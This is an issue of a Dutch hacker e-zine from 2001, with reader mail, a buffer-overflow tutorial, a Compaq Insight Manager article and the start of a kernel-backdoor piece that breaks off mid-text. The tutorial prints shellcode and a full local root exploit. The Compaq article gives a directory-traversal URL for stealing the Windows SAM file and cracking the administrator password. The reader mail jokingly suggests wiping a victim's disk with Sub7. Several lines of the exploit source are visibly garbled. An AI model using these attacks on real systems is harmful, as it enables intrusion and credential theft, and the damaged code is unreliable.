___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|D| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '31-12-2001', Momenteel 1227 lezers. Om je aan te melden bij de maillijst kan je een mailtje sturen naar subscribe@hackers4hackers.org met als titel "subscribe h4h emailadres" Of je kan je online aanmelden op http://www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org. Uitspraak: [ Nynex: FAK!! weer fik in me 486!! wat n stank ] Enkele interessante sites: http://dmrt.dyndns.org/forum http://www.security.nl http://hier.is/Triples http://www.whatis.com http://viper.dmrt.com http://www.klaphek.nl http://www.hack.vuurwerk.nl http://kickme.to/hackfaq http://www.startplaza.nu http://www.dsinet.org http://www.satl.com/c/hackerHOWTO.html http://packetstorm.securify.com/docs/hack/i.only.replaced.index.html.txt Leuke kanaaltjes op IRCnet: #h4h #hit2000 #nlcoders #freeworld 01. Disclaimer............................................... (Redactie) 02. Inleiding................................................ (Redactie) 03. Lezerspost............................................... (Redactie) 04. Overflow the world....................................... (ArTA) 05. Compaq................................................... (VortexXx) 06. Kernel hacking........................................... (Gorny) 07. De Basis Van Shellscripting (deel 3)..................... (max) 08. Evenementen.............................................. (Redactie) 09. Policies in Win95........................................ (PtPtH) 10. Internet KostenBeheersing................................ (Doquan) 11. x86 Assembly Tutorial.................................... (genetics) 12. IPv6: The Next Generation................................ (Necrose) ------------------------------------------------------- 01. Disclaimer ------------------------------------------------------- We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educatieve doeleinden. Als je in de problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. Correspondentie met de redactie is mogelijk per email : Algemeen - h4h-redactie@hackers4hackers.org Vragen e.d. - post@hackers4hackers.org Artikelen - artikel@hackers4hackers.org Asby (Hoofdredacteur) - asby@hackers4hackers.org Berry (Website + Eind redactie) - berry@hackers4hackers.org Ivo (Redactie + IRC Beheer) - ivo@hackers4hackers.org Nighthawk (Redactie) - nighthawk@hackers4hackers.org Tozz (Redactie) - tozz@hackers4hackers.org Viper (Redactie) - viper@hackers4hackers.org ------------------------------------------------------- 02. Inleiding ------------------------------------------------------- Weer een nieuwe H4H rond een mooie en slechte tijd van het jaar. Dit is de tijd waarin de mensen het meeste geld uitgeven aan de feestdagen, maar tevens ook de tijd dat de meeste mensen depressief zijn. En natuurlijk de tijd dat de kerstdefaces en virussen de kop opsteken. December is een maand waarin veel gebeurt. Leuke dingen, zoals kerstfeest, maar ook minder leuke dingen zoals een hacker die de dood vindt. Op 23 december jongsleden vond de hacker genaamd sLash^ de dood. Hij was een lid van uDc, voor degene die dat wat zegt. Persoonlijk (asby) ken ik sLash^ niet goed, ik heb hem enkele malen gesproken op IRC, en ik vond het een aardige jongen die altijd bereid was om iemand te helpen. Als je zoiets hoort kom je altijd met een klap met beide benen op de grond te staan. Je beseft hoe kort het leven eigenlijk kan zijn. Ik wil bij deze sLash^ zijn vrienden, familie, vriendin en andere verwanten condoleren met de dood van sLash^. Mochten er mensen nog een laatste woord aan sLash^ willen richten, surf naar: http://www.southbreak.com/uDc/index.html Voor de rest willen we iedereen natuurlijk prettige feestdagen wensen en een gelukkig uiteinde. Natuurlijk heeft iedereen weer zijn goede voornemens. Ik doe daar zelf nooit zo aan en ik zal het ook niet namens H4H doen. Ik weet niet wat dit nieuwe jaar ons gaat brengen. Laten we het gewoon afwachten. Er zijn verder nog een paar kleine wijzigingen in de h4h, Het eindwoord is bijvoorbeeld niet meer aanwezig. En h4h zal niet iedere maand meer verschijnen. Om de kwaliteit van de artikelen wat omhoog te brengen zullen we dus minder vaak verschijnen. Ook de lezerspost zal vanaf het volgende nummer afwezig zijn. We gaan met de redactie H4H naar een "volwassener" nivo brengen. En hopen uiteindelijk iedereen hier een plezier mee te doen! Als afsluiter wilde we het volgende nog even kwijt: "Het schrijven van artikelen het liefste in Plain Text zonder regeleinden!", Dit om zo weinig mogelijk opmaakproblemen te krijgen. Ook is het gebruik van TABS af te raden. Namens de h4h-redactie een prettige jaarswisseling en tot volgend jaar! Asby en Berry. ------------------------------------------------------- 03. Lezerspost ------------------------------------------------------- Hierbij vinden jullie de laatste lezerspost die in H4H zal staan. Na vele H4H's te hebben gevuld met een gedeelte lezerspost, vinden we het genoeg geweest. Op de vorige lezerspost die ik gedaan had kreeg ik opmerkingen dat het makkelijk scoren was. En dat degene die de brieven schrijven geen kans kregen. Dat is echte niet geheel waar. Het was een succes formule, dus waraom die stoppen als die perfect is? Daarnaast kreeg iedereen die erin stond, naast dat ie in de lezerspost stond, een normale mail terug gestuurd. Dus iedereen kreeg bij ons ook een normale kans. Dat is iets wat bijna niemand wist. Maar voor ons is de lol er ondertussen ook vanaf. De lezerspost zal na deze keer stoppen. Voor somiige het leukste onderdeel van de H4H, want het was tenminste te snappen.... Laatste lezerspost: ---- hoi ben 31 jaar [ik ongeveer 12, ofzoiets] ben ongeveer 8 maanden [net was je nog 31 jaar, ik vind 8 maanden wel wat jong hoor] bezig met hacken subseven saai [Als je wat meer woorden in een zin stop worden ze wat duidelijker] gewoon [Nee zo gewoon vind ik het niet] weet jij iets voor myn [Jups, koop een zak knikkers en ga knikkeren] kom niet veder [Nou zo moeilijk is knikkeren niet hoor, gewoon die ronde dingen in dat gat zien te krijgen, met er steeds met de zijkant van je vinger tegenaan duwen] nu.. weet jij geen leuk ander programma [Nee, nee, nee, knikkeren is geen programma, het is een spelletje] voor myn [Voor jou ja] groeten luc [Groeten N|ghtHawk] ---- Hoe kan je nou een beetje hacke. [Een beetje hacken? Nou dus door het niet helemaal te doen. Maar dus als je net begonnen bent weer stoppen. Dan heb je een beetje gehacked. Bijvoorbeeld bij ICQ [Zeg, heb jij weleens van knikkeren gehoord?] of is dat nou weer een stomme vraag. [Welnee, stomme vragen krijgen we niet bij de lezerspost toch?] Please mail me back [Je hebt nog net de eer kunnen hebben in de laatste lezerspost te staan] Ronald Kramer [N|ghtHawk] ---- hee hoi [hoi hee] even een reactie en een vraag. [Nou, go for it zou ik zeggen] eerst de vraag [Hmmz, had liever eerder de reactie gehad, maar vooruit dan maar] kan iemand mij helpen aan een handleiding van sub7?? [Flauw he dat die er niet bij zit. Want het is toch zo een moeilijk programma. Maar ik heb ooit een gelezen dat je gewoon de server.exe moet runnen, en dan de client.exe. Met de client kan je dan connecte op 127.0.0.1 Een erg leuk idee is het om zijn hele harde schijf te deleten. Have phun...] of mij verwijzen naar een site waar alles even haarfijn word uitgelegd???? [www.ikkomnetuitdezandbakenwilleet0hackerworden.nl] want elek keer als ik connect klik en alles ingevuld heb geeft ie aan :"damm i discconcted"ofzo iets. [Naar he dat het leven niet altijd mee wil zitten. Maar lees me uitleg hierboven. Gaat vast perfect.] ook nog een vraag [HEY!! Je zou 1 vraag en een reactie hebben. Dit is al de tweede vraag, en mij maar laten wachten op die reactie. Ik neem aan dat het een belangrijke vraag is] of iemand mij kan helpen aan een hack-programmas voor de groentjes onder de hackers [Groentjes? Zijn er groentjes onder de hackers dan? Hmmz, nog nooit een gezien. Zie alleen altijd leet0 figuren die zichzelf erg goed vinden met hun sub7. Maar groene hackers?] waarbij ik natuurlijk wel kan zien wat ik doe. [Waarom? Je zou het toch niet snappen. Ookal wordt het in je oor geschreeuwd wat je moet doen en wat het betekent. okee en de reactie?? [Jah, daar zit ik al de hele tijd op te wachten.] nou die heb ik nog niet [Ok... Je laat me dus eerst 2 vragen van je beantwoorden en vervolgens heb je geen reactie? Grrr..] ik weet namelijk niet hoe dit uitpakt!!! [gunzip dit.tar.gz | tar -xvf ] hahahahaha nee geintje de groeten en tjuss!!!! [Jah, lachen he. Volgens mij komt echt niemand van de lezers nu meer bij. Houden we de onderbroek wel droog jongens?] oh ja voor de genen met ICQ??? [Je vraagtekentoets blijft een beetje hangen, en springt zomaar aan op plaatsen waar het nergens op slaat. Kijk ook meteen ff naar je uitroepteken toets.] dikke schijt dat hele ICQ, [Dat zou toch niet echt fris ruiken zo achter je computer dan] nee geef mij maar MSN [Geef mij maar een goed gesprek in de kroeg achter een biertje] lekker fris simpel en overzichtelijk, [Lijkt wel een maandverbandje] maar ik dawwl af [Heb ik ook weleens. Vind het altijd zeer naar als ik afdawwl.] ik hoop dat iemand mij kan helpen. [Ik betwijfel het] groeten boeroe [groeten N|ghtHawk] boeroemetalass@hotmail.com [nighthawk@hackers4hackers.org] (lekker simpel mailadresje niet? [Inderdaad, niet] en ook nog bij hotmail foei !!! [Het is dat je het zelf zegt] okee ik ga me schamen!!) [En terecht] ---- hee hiep hoi [hoi hiep hee] en hallo [en ook hallo terug] zeg ik wil even wat kwijt! [Gewoon ergens neer leggen en vergeten waar je het hebt gelaten. Dan ben je het kwijt] hahah ik vind NIET oke dat als mensen jullie iets vragen dat jullie je er met een KUT- antwoord vanafdoen. [Volgens mij voelde jij al van te voren dat je hier in de lezerspost zou staan, of heb je er al eerder in gestaan?] nou mijn twijfel rijst [Witte rijst?] of jullie/jij wel erg bedreven zijn in het wat jullie noemen "hacken"? [Zoals ik al eerder heb gezegt kan ik niets anders dan mensen afkraken via de lezerspost] boeroe [Dejavu.....] boeroemetalass@hotmail.com [Hoe vaak ga je ons nog mailen?] ---- Ik ben mijn password op een Word (97) document kwijt. [Dat is erg naar] Hoe kan ik dat kraken? [Op een diskette zetten en er een dikke vrouw op laten zitten] Bijvoorbaar dank, [Bijvoorbaar graag gedaan hoor] groet, [mazzels] Jan de Buck [N|ghtHawk] -- Kunnen jullie mij informatie sturen [Wat voor informatie? Over hoe je moet knikkeren?] hoe je kunt hacken in bedrijven of zo.. [Hmmz, ik denk toch echt dat jij beter kan gaan knikkeren dan. Of breien, dat is ook een erg leuek hobby] Ik zou jullie erg dankbaar zijn. [Gelukkig dan maar. Dan schrijf ik dit tenminste niet voor niets] Arnold van Leeuwen [N|ghtHawk] ---- i don't know if you speak english [A very little beetje] but i have need...of something.... [Me too...SEX..] please..would you can......say if i can... [Yeah, u can do it, try to say it..] unload a database of all address ip.... [WAT?? Alle ipadressen? Lekker nuttig...] with the name....... [Naam? Wat voor naam, Kees, Bert, Erik, Willen-Jan-Jaap.. Zo goed?] please....I have the scanner incomplete [Shit happends, maar er zitten wel in meer scanners niet alle ip's voorgeprogrammeerd. Je mag best iets zelf doen] neo [Wake up Neo.. You are sleeping, and sending dumb emails..] arcaisis@gsmbox.it [Nighthawk@hackers4hackers.org] -- He hackers, [Waar? Zeg me wie, ik wil een handtekening] Hoe kom ik aan een gratis sex key password???? [Koop een playboy, daar staan ook vieze plaatjes in waar je je op kan afrukken] Please help........ [Sorry, het rukken zal je alleen moeten doen. Dat ga ik niet voor je doen] Mvg, [Zozo, vriendelijk nog wel. Nou de vriendelijke groetjes terug hoor.] Sjakie oxbow [N|ghtHawk] ---- Hallo beste mensen, [Halli beste knul] Ik ben Joris, [Ik ben N|ghtHawk] en een jongen die ik ken [Ik ken ook jongens. Had liever dat ik wat meer meisjes kende] heeft een site gemaakt waar een aantal onaardige dingen opstaan over mij. [Dan zal je vast niet zo lief tegen hem gedaan hebben he] Ik ken zelf geen hacker, [Ken je wel wat meisjes? Kunnen we ruilen] dus ik vroeg mij af of jullie iemand kennen die dat voor mij zou willen doen. [Als jij die meisjes regelt....] (het is maar een amateur site dus....) [Dus..?] Alvast bedankt, [In ieder geval graag gedaan....meisjes?] Joris [N|ghtHawk] ---- Hallo, [hoi hoi] is er bij jullie bekent hoe ik een vergeten word paswoord kan openen [Een password zelf openen? Dat lijkt me toch wel iets heel aparts. Zeker als je hem vergeten bent. Misschien moet je ff goed zoeken nog. Misschien vind je hem weer. Waar heb je em voor het laatst gebruikt voordat je hem vergat?] Groet, Cas [Groet, N|ghtHawk] 0318-6680XX [Wat moet ik in godsnaam met jouw telefoon nummer? Ik ga je heus niet stalken ofzo. Dus ik ontken hierbij dat ik jou elke avond om half elf bel. Dat ben ik dus niet. Ik ontken alles.] ---- Hoi, [heeeeeeeeeee] Ik zou graag een programma gekraakt willen hebben, [Ik zou graag eens een keer vrienden willen hebben] maar aangezien ik er geen kaas van gegeten heb [Kaas eten van een programma? Ik eet me kaas meestal op brood, of op een cracker. Waar ik overigens nog een leuk spelletjes mee weet...] hoop ik dat u mij in de juiste richting kan sturen. [Linksaf] Het gaat om AAA 2.2a van www.darcorp.com [Rechtsaf dan] Werkt met licencies en een key die je van hun krijgt. [Als je de key al krijgt, waar is die kaas dan voor?] Wil het programma voor onbepaalde tijd kunnen gebruiken. [Ik wil een meisje voor onbepaalde tijd kunnen gebruiken] Indien u details wilt, kan ik die verder geven [Juh, ik ben wel benieuwd wat voor kaas je in gedachten had] Regards, [De balle] Johan C Dees [N|ghtHawk] ---- hoi [hoi hoi hoi] ik best wel een rare vraag.{ja heel raar!} [Ow bespaar me het] hebben jullie o800 nummers van servers , [0800 nummers wel, maar o800 ken ik niet] zodat je gratis contact heb! [Contact met een sexlijn?] het mogen ook buitenlandse nummers zijn. [gelukkig maar] ik snap wel dat de providers ofzo deze nummers natuurlijk niet openbaar maken , [goed dat je dat snapt] maar kunnen jullie hier voor zorgen? [ik weet niet was o800 nummers zijn] werto_12 # [N|ghtHawk_18] ---- [Hier is hij dan, de allerlaatste Mail in de lezerspost. Voor de verandering zal ik geen dingen erbij zetten. Deze mogen jullie zelf verzinnen] ik heb al bo2k [Verzin een grappig iets op de bovenstaande zin] (gedownload van cult of the dead cow) [Verzin een grappig iets op de bovenstaande zin] maar wil graag een die goed werkt. [Verzin een grappig iets op de bovenstaande zin. Ja het is zwaar soms] waar is die te downloaden [www..] (liefst nederlands talig) [Verzin weer een grappig iets op de bovenstaande zin] hackers zijn toch handig ? [Maak bijdehande opmerking] ook heb ik sub 7 hoe werkt dit, [Ok, dit maakt bijna hopeloos. Maar probeer er toch maar wat op te verzinnen] ik snap niks van poorten enz. [Dit is dan weer een inkoppertje, dus doe je best] maar vind het hacken zeer interesant, [Maak er wat van, dees zal ook niet al te moeilijk zijn] snap ook niet dat mensen daar zo moeilijk over doen [Verzin een grappig iets op de bovenstaande zin] geheime gegevens kun je ook buiten de computer opslaan ??? [Kraak em af met een goede opmerking] graag een bericht terug , [Geef hem de tranen in ze ogen met een laatste opmerking] via email of een poort hahaha [Kans 2, maak meer tranen] cees [Vul hier u naam in] haha@ceesb.tmfweb.nl [Eindig hier met uw emailadres, en eventueel nog een laatste opmerking] ------------------------------------------------------- 04. Overflow the world... ------------------------------------------------------- - Inleiding - Het geheugen - Een vulnerable proggie - De exploit schrijven - De uitvoering - Afsluiting - Referenties - Inleiding Buffer overflow exploits zullen bij de meeste hackers/crackers/nerds wel bekend zijn, aangezien het een van de meest voorkomende bugs zijn in programma's. Vooral programma's die SUID-root draaien, webservers ed. en ander programma's die als root gerund moeten worden lopen een groot risico om geexploit te worden. Daarom nemen programmeurs allerlei maatregelen om het risico zo klein mogelijk te maken. In dit artikeltje ga ik een beetje de principes van bufferoverflow exploits proberen uit te leggen. Hierbij moet wel gezegd worden dat alle Assembler-dumps ed. van toepassing zijn op een intel x86 processor (en dus niet op de alpha of sparc) draaiende onder linux. Sommige info uit dit artikel is overgenomen & vertaald uit de artikelen genoemd bij de Referenties. Deze zijn allemaal wel te vinden bij PacketStorm. Bovendien heb ik ze ook wel op me eigen site staan (Archive --> Buffer Overflow.) Kennis van C & Assembler is wel heel handig voor het begrijpen van dit artikel. Voor degene die echt geen assembler kennen, raad ik je aan om de Pascal-tutorials van Ravity te lezen. Deze kun je vinden in het archief van Hackers4Hackers. Ravity behandelde nl. hierin ook heel veel assembler. - Het geheugen In het nu volgende stukje wordt de indeling van het geheugen besproken. Op deze manier is het gedaan met de meeste processoren, al kunnen er enkele afwijkende, verschillen optreden. Alles is sowieso van toepassing op de intel x86-lijn. Het geheugen van de computer is verdeeld in: code-segment: De data hierin bestaat uit assembler-instructies die de pro- cessor uitvoert. Er bestaan ook jump en call-statements dus de data hierin hoeft niet lineair uitgevoert te worden. Hier- bij wordt de EIP gebruikt. Dit is een instructie-pointer die wijst naar het volgende stukje code dat uitgevoerd moet worden. data-segment: Hierin worden alle variabelen en dynamische buffers opgeslagen. stack-segment: In de stack worden alle argumenten voor functies en variabelen van functies opgeslagen. Het assembler-commando PUSHL zal iets aan de top van de stack toevoegen terwijl POPL het top-item weghaalt en opslaat in een register. Om de top van het stack- geheugen direct aan te roepen is er de stack pointer (ESP) die wijst naar het laagste (!) geheugen-adres van de stack. Bij buffer overflow exploits wordt een stukje geheugen overschreven met arbitrare (executable) code, zodat het process die code uitvoert terwijl dit juist niet de bedoeling is *doh*. Laten we even naar een stukje assembler-code gaan kijken. Dit is gewoon een heel simpel voorbeeld, alleen om het even te verduidelijken. geheugen-adres code -------------- ---- 0x8012345 pushl $0x0 0x8012346 call $0x8025689 0x8012351 ret 0x8012352 leave ... 0x8025689 popl %eax 0x802568a addl $0x1337, %eax 0x802568e ret Eerst zet de main-functie 0 in de stack aangezien dat een argument is dat moet worden doorgegeven aan functie. Hierna roept main de functie aan. Deze haalt het argument van de stack met POPL en plaatst het in register %eax. Als functie klaar is gaat hij terug naar 0x8012351. Dit adres wordt automatisch opgeslagen in de stack bij het aanroepen van de functie. Nu is de kunst van het buffer-overflow gebeuren om dat adres in de stack te overschrijven zodat de functie naar een ander adres in het geheugen gaat en daar bijvoorbeeld "/bin/sh" uitvoert :). - Een vulnerable proggie We gaan nu even uit van het volgende stukje code. Dit is een simpel programma, dat vulnerable is voor een buffer overflow-attack op de buffer[] met een grootte van 128 bytes. Het enige wat het programma doet is het eerste argument meegegeven aan het proggie op de commandline opnieuw printen. vulnerable.c int main(int argc, char **argv) { char buffer[128]; if (argc > 1) { strcpy(buffer, argv[1]); printf("%s\n", buffer); } return 0; } [A[r]TA@localhost h4h]$ gcc ./vulnerable.c -o vulnerable [A[r]TA@localhost h4h]$ ./vulnerable xxxxxxxxxxx xxxxxxxxxxx [A[r]TA@localhost h4h]$ ./vulnerable xxxxxxxxxxxxxxxxxxxx... (>128 x-jes) Segmentation fault (core dumped) [A[r]TA@localhost h4h]$ Aha, als je meer als 128 karakters ingeeft dan past het niet in de buffer en zal de kernel een segmentation fault geven. Dit betekent domweg dat het pro- gramma de invoer op een punt in het geheugen weg wilde schrijven dat daar niet voor gereserveerd was, aangezien je maar 128 bytes gereserveerd hebt. Laten we eens met gdb naar de assembly code van het programma gaan kijken. NOTE: Alle stukjes tekst achter "(gdb)" moet je dus ZELF intypen!!! [A[r]TA@localhost h4h]$ gdb ./vulnerable core (gdb) info registers eax: 0x0 0 ecx: 0x804852f 134513967 edx: 0x1 1 ebx: 0x4000a3c8 1073783752 esp: 0xbffffcf0 -1073742608 ebp: 0x78787878 2021161080 esi: 0x2 2 edi: 0x804842c 134513708 eip: 0x78787878 2021161080 eflags: 0x10246 IOPL: 0; flags: PF ZF IF RF orig_eax: 0xffffffff -1 cs: 0x100023 1048611 ss: 0x9002b 589867 ds: 0x2b 43 es: 0x10002b 1048619 fs: 0x2b 43 gs: 0x2b 43 Zoals blijkt uit de registers van de processor staat er bij de EBP 0x78787878. Deze EBP wijst naar het adres waar de functie 'strcpy' naar terugmoet als hij klaar is. Maar doordat er teveel x-jes zijn ingevoerd staat er bij EBP alleen maar xxxx (x78 is de hexadecimale representatie van x). Hierdoor kon de functie 'strcpy' niet goed terug naar 'main()' en dus gaf de kernel een segmentation fault. Hoe kun je dit nou exploiten? Simpel. Je zorgt ervoor dat de EBP wordt overschreven met een adres waar jouw shellcode staat opgeslagen in het geheugen van je comp. Hierdoor zal 'strcpy' returnen naar jouw executable code en dus een shell of iets dergelijks starten. En dat is namelijk waar het ons allemaal om te doen is: root verkrijgen door middel van een buffer overflow exploit. Je hoeft trouwens niet de EBP over te schrijven. Je kan ook de EIP pointer overflowen. Deze wijst altijd naar het volgende uitvoerbare stukje code. Laten we ook nog even naar de code van de main()-functie kijken. Ik heb wel stukjes onrelevante informatie weggeknipt. Als het goed is zie je ergens de regels als hieronder staan. Ook kijken we nog even naar de asm-code van de functie strcpy. (gdb) disas main 0x80484b9 : call 0x80483dc (gdb) disas strcpy 0x4004f4f5 : popl %ebp 0x4004f4f6 : ret Wat betekent dit nu? Simpel, er wordt de functie strcpy aangeroepen. Deze bevindt zich op adres 0x80483dc. Na uitvoer van de functie komt hij bij het commando return en zoals te zien is op adrex 0x4004f4f6 gaat hij dan terug naar main(), nadat hij van de stack de EBP heeft afgehaald zodat de computer weet naar welk geheugenadres hij terug moet keren. - De exploit schrijven Ajajaj, nu komen we bij het interessantste deel van dit artikel. Het maken van een exploit bij vulnerable.c. We weten inmiddels op welke adressen hij returnt naar main() en wat er precies gebeurd als de buffer wordt geoverflowd. Deze zaken zijn in principe niet nodig voor het maken van de simpelste exploits, maar ze zijn wel makkelijk voor het verduidelijken van de werking van de buffer overflow exploit :P. De meeste exploits lijken qua vorm en programmeer- structuur heel erg op elkaar. Soms is de shellcode wel aangepast om aan sommige filtermethodes te ontkomen, maar in grote lijnen ontlopen ze elkaar niet veel. Ik geef nu gewoon eerst in stukjes de source, met wat uitleg hier en daar. #include #include Eerst beginnen we met het includen van de headerfile. Deze hoort bij de standaard-library van GCC. stdio is nodig voor de output naar het scherm en dergelijke dingen. #define DEFAULT_BUFFER_SIZE 128 #define DEFAULT_OFFSET 0 #define RANGE 20 #define NOP 0x90 Aj, hier worden de macro's gedefinieerd. Overal waar de compiler de woorden achter #define ziet staan vult hij het achterstaande getal in. Bij de buffersize staat 128 ingevuld, precies de buffer die vulnerable.c gebruikt. Dit hoeft echter niet. RANGE is een stukje van de buffer dat hij niet gebruikt. char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Hierboven staat de shellcode. Dit is gewoon Assembler alleen dan in een ander jasje. En het einde van de shellcode[] spreekt voor zich :). unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } Dit is de functie die de stack-pointer (ESP) retouneert van de exploit. Dit is nodig om de plaats te bepalen van de shellcode ed. int main(int argc, char **argv) { char buff[DEFAULT_BUFFER_SIZE+RANGE+1], *pointer; long adres; unsigned long stackpointer; int offset = DEFAULT_OFFSET, buffersize = DEFAULT_BUFFER_SIZE + RANGE + 1; int i, j; Hier wordt de functie main() begonnen en worden alle variabelen gedeclareerd. Ik heb geen zin om alle soorten variabelen uit te gaan leggen, of om iets te vertellen over pointers ed. Bovendien schrijft Tozz wel eens iets over C in dit prachtblad :P. Het lijkt me ook wel duidelijk wat er in welke variabelen gaat worden opgeslagen. if (argc>1) offset = atoi(argv[1]); Oke, hier checkt de exploit of er een argument aan hem is meegegeven. Zo, ja. Dan wordt offset bepaald door middel van dat argument in plaats van de macro DEFAULT_OFFSET. stackpointer = get_sp(); adres = stackpointer - offset; Hier wordt het adres bepaald, waar straks de string (char array) buff[] geplaatst gaat worden. for(i=0;i>8; buff[i+2]=(adres&0x00ff0000)>>16; buff[i+3]=(adres&0xff000000)>>24; } Ah, hier worden in een for-loopje de juiste adressen toegewezen aan het juiste element van de array. for(i=0;i<(buffersize-(RANGE*2)-strlen(shellcode)-1);i++) buff[i] = NOP; Een ander for-loopje vult bijna de gehele buffer met NOP (0x90). pointer = buff+buffersize-RANGE*2-strlen(shellcode)-1; for (i=0;i #include #define DEFAULT_BUFFER_SIZE 128 #define DEFAULT_OFFSET 0 #define RANGE 20 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { char buff[DEFAULT_BUFFER_SIZE+RANGE+1], *pointer; long adres; unsigned long stackpointer; int offset = DEFAULT_OFFSET, buffersize = DEFAULT_BUFFER_SIZE + RANGE + 1; int i, j; if (argc>1) offset = atoi(argv[1]); stackpointer = get_sp(); adres = stackpointer - offset; for(i=0;i>8; buff[i+2]=(adres&0x00ff0000)>>16; buff[i+3]=(adres&0xff000000)>>24; } for(i=0;i<(buffersize-(RANGE*2)-strlen(shellcode)-1);i++) buff[i] = NOP; pointer = buff+buffersize-RANGE*2-strlen(shellcode)-1; for (i=0;i van target:2301 en de informatie wordt weergegeven in de browser. Maar wacht... het kan nog mooier! Het blijkt dat er tot versie een bug zit waarmee, als je het preciese pad weet, files kunt downloaden... De URL wordt dan als volgt HTTP://ip-adres van target:2301/../../../boot.ini Er kunnen nu 3 dingen gebeuren, of je krijgt de text van de boot.ini te zien, of je krijgt een downloadscherm waarbij hij vraagt waar je de file wil opslaan, of je krijgt de melding acces denied... jammer in dat geval gebruiken ze de nieuwere versie waarbij de bug gefixed is. Met het volgende in je achterhoofd gaat natuurlijk gelijk een lichtje branden.. we willen de sam hebben en dan wel de sam._ uit de repair directory want de andere is niet benaderbaar (is in gebruik weet je) de URL is HTTP://ip-adres van target:2301/../../../winnt/repair/sam._ en hoppakee... ff L0phtcrack erop los en je heb het administrator wachtwoord. Nu kan het voorkomen als je deze URL intoetst dat je de inhoud van de sam._ krijgt te zien en je daar niets mee kan. Gebruik dan een Downloadaccelerator of een Gozilla en specifiseer in de options dat je voor elk ._ extensie de downloadtool gebruikt. de downloadtool zal dan gelijk de file downen. Okee ik hoop dat jullie er wat aan hebben en natuurlijk gebruik je deze info alleen voor de juiste doeleinden...mocht iemand nog aanvullende informatie hebben, kunnen ze dat mailen naar VortexXx@ictbeveiliging.nl (bezoek ook de site eens :-) Pies ijm oud... VortexXx ------------------------------------------------------- 06. Kernel hacking ------------------------------------------------------- * Disclaimer * Inleiding * System calls * Loadable kernel modules * Verbergen van modules * Afsluiting * Bronnen - Disclaimer Het kan zijn dat als je informatie uit de artikel gaat uitvoeren op je OS en je gaat zelf dingen uit proberen met betrekking tot kernel modules en dergelijke dan is het mogelijk dat je dingen verkeerd doet, zodat je kernel (tijdelijk?) niet meer goed werkt. Alles is dus op eigen risico en ik ben nergens voor aansprakelijk. Voor vragen of opmerkingen kun je me best mailen, maar niet voor schadeclaims of andere shit! Ge zijt gewaarschuwd... - Inleiding Zoals velen van jullie wel weten bestaan er mogelijkheden om de kernel van een OS te hacken. Dit is natuurlijk een zeer gevaarlijke attack, want wat moet je als sysop als je je eigen kernel niet eens meer kan vertrouwen? Een kernel kan je echter pas hacken als je in een systeem bent binnengedrongen en root hebt verkregen. Maar hoe goed je je systeem ook beveiligd, er kan altijd iemand binnenkomen. En hoe slimmer de hacker is die jouw geweldige beveiliging omzeild, hoe groter de kans dat hij je kernel hackt om later nog eens terug op bezoek te kunnen komen. Deze worden vaak als een kernelmodule gecompileerd en geinstal- leerd, terwijl ze op een vernuftige manier in elkaar gezet zijn, zodat je ook met lsmod de desbetreffende backdoor niet kan zien. In dit artikel zal ik eens wat dieper ingaan op het hacken van de kernel. Alles is van toepassing op de Linux-kernel, maar de principes zijn hetzelfde voor alle UNIX-based systemen. Je zult dan wel even uit moeten vogelen welke functies de kernel gebruikt om systemcalls uit te voeren. Dit gaat natuurlijk het makkelijkst als je de sources van de kernel van je OS hebt. In principe zijn er ook wel slimme backdoors te schrijven voor windows, maar dit kost heel veel tijd en je zult je door alle assembly-sources van Windows 9x/2K/ME heen moeten worstelen. :) - System calls Voordat we kunnen bekijken wat system calls eigenlijk zijn moet er eerst wat uitgelegd worden over hoe het geheugen in Linux is ingedeeld. Het geheugen is in twee gedeeltes verdeeld; kernelspace en userspace. Een programma kan niet naar de kernelspace schrijven, omdat die voor de kernel is gereserveerd *doh*. Ook kun je niet zonder meer de kernel access tot het usergeheugen laten geven. Als je een system call uitvoert doet de kernel enkele dingen. Hij zet DS en ES (geheugenpointers, voor meer info lees wat over Assembler) zodat het geheugen wijst naar het kernelsegment. Hierna zet het FS en die wijst dan naar het usersegment in het geheugen. Vanuit de kernelspace kun je dus toch het stukje geheugen dat gereserveerd is voor de user aanroepen. Elk programma dat je in C hebt geschreven gebruikt libc. Dit is een library die alle basisfuncties, die je nodig hebt om te programmeren, vastlegd. In feite zijn bijna alle functies in libc gebaseerd op de onderliggende system calls. Dit zijn de simpelste kernelfuncties die een userprogramma kan aanroepen. Alle system calls van een OS zijn geimplementeerd in de kernel zelf of in kernel modules die je pas in het geheugen laat als je ze nodig hebt (insmod, rmmod, lsmod...) In Linux zijn de system calls geimplementeerd door door een interrupt. Deze is 'int 0x80'. Als je deze instructie uitvoert wordt de controle aan de kernel overgedragen met behulp van de functie _system_call(). Deze functie saved alle registers en daarna wordt de inhoud van het %eax register gecheckt en vergeleken met de zogeheten 'global system calls'-table. In deze tabel staan alle system calls en hun geheugenadressen. Als de system call in %eax niet in de tabel staat retouneert _system_call een error. In alle andere gevallen zal de kernel het geheugenadres dat in de tabel stond achter de system call uitvoeren. Hier volgt even een klein voorbeeldje dat de system call aanroept met een system call die niet bestaat, zodat de kernel een foutmelding zal geven! Let er wel op dat je bij jouw systeem wel een waarde voor 'movl $165,%eax' geeft die niet bestaat, want anders kan je kernel hele 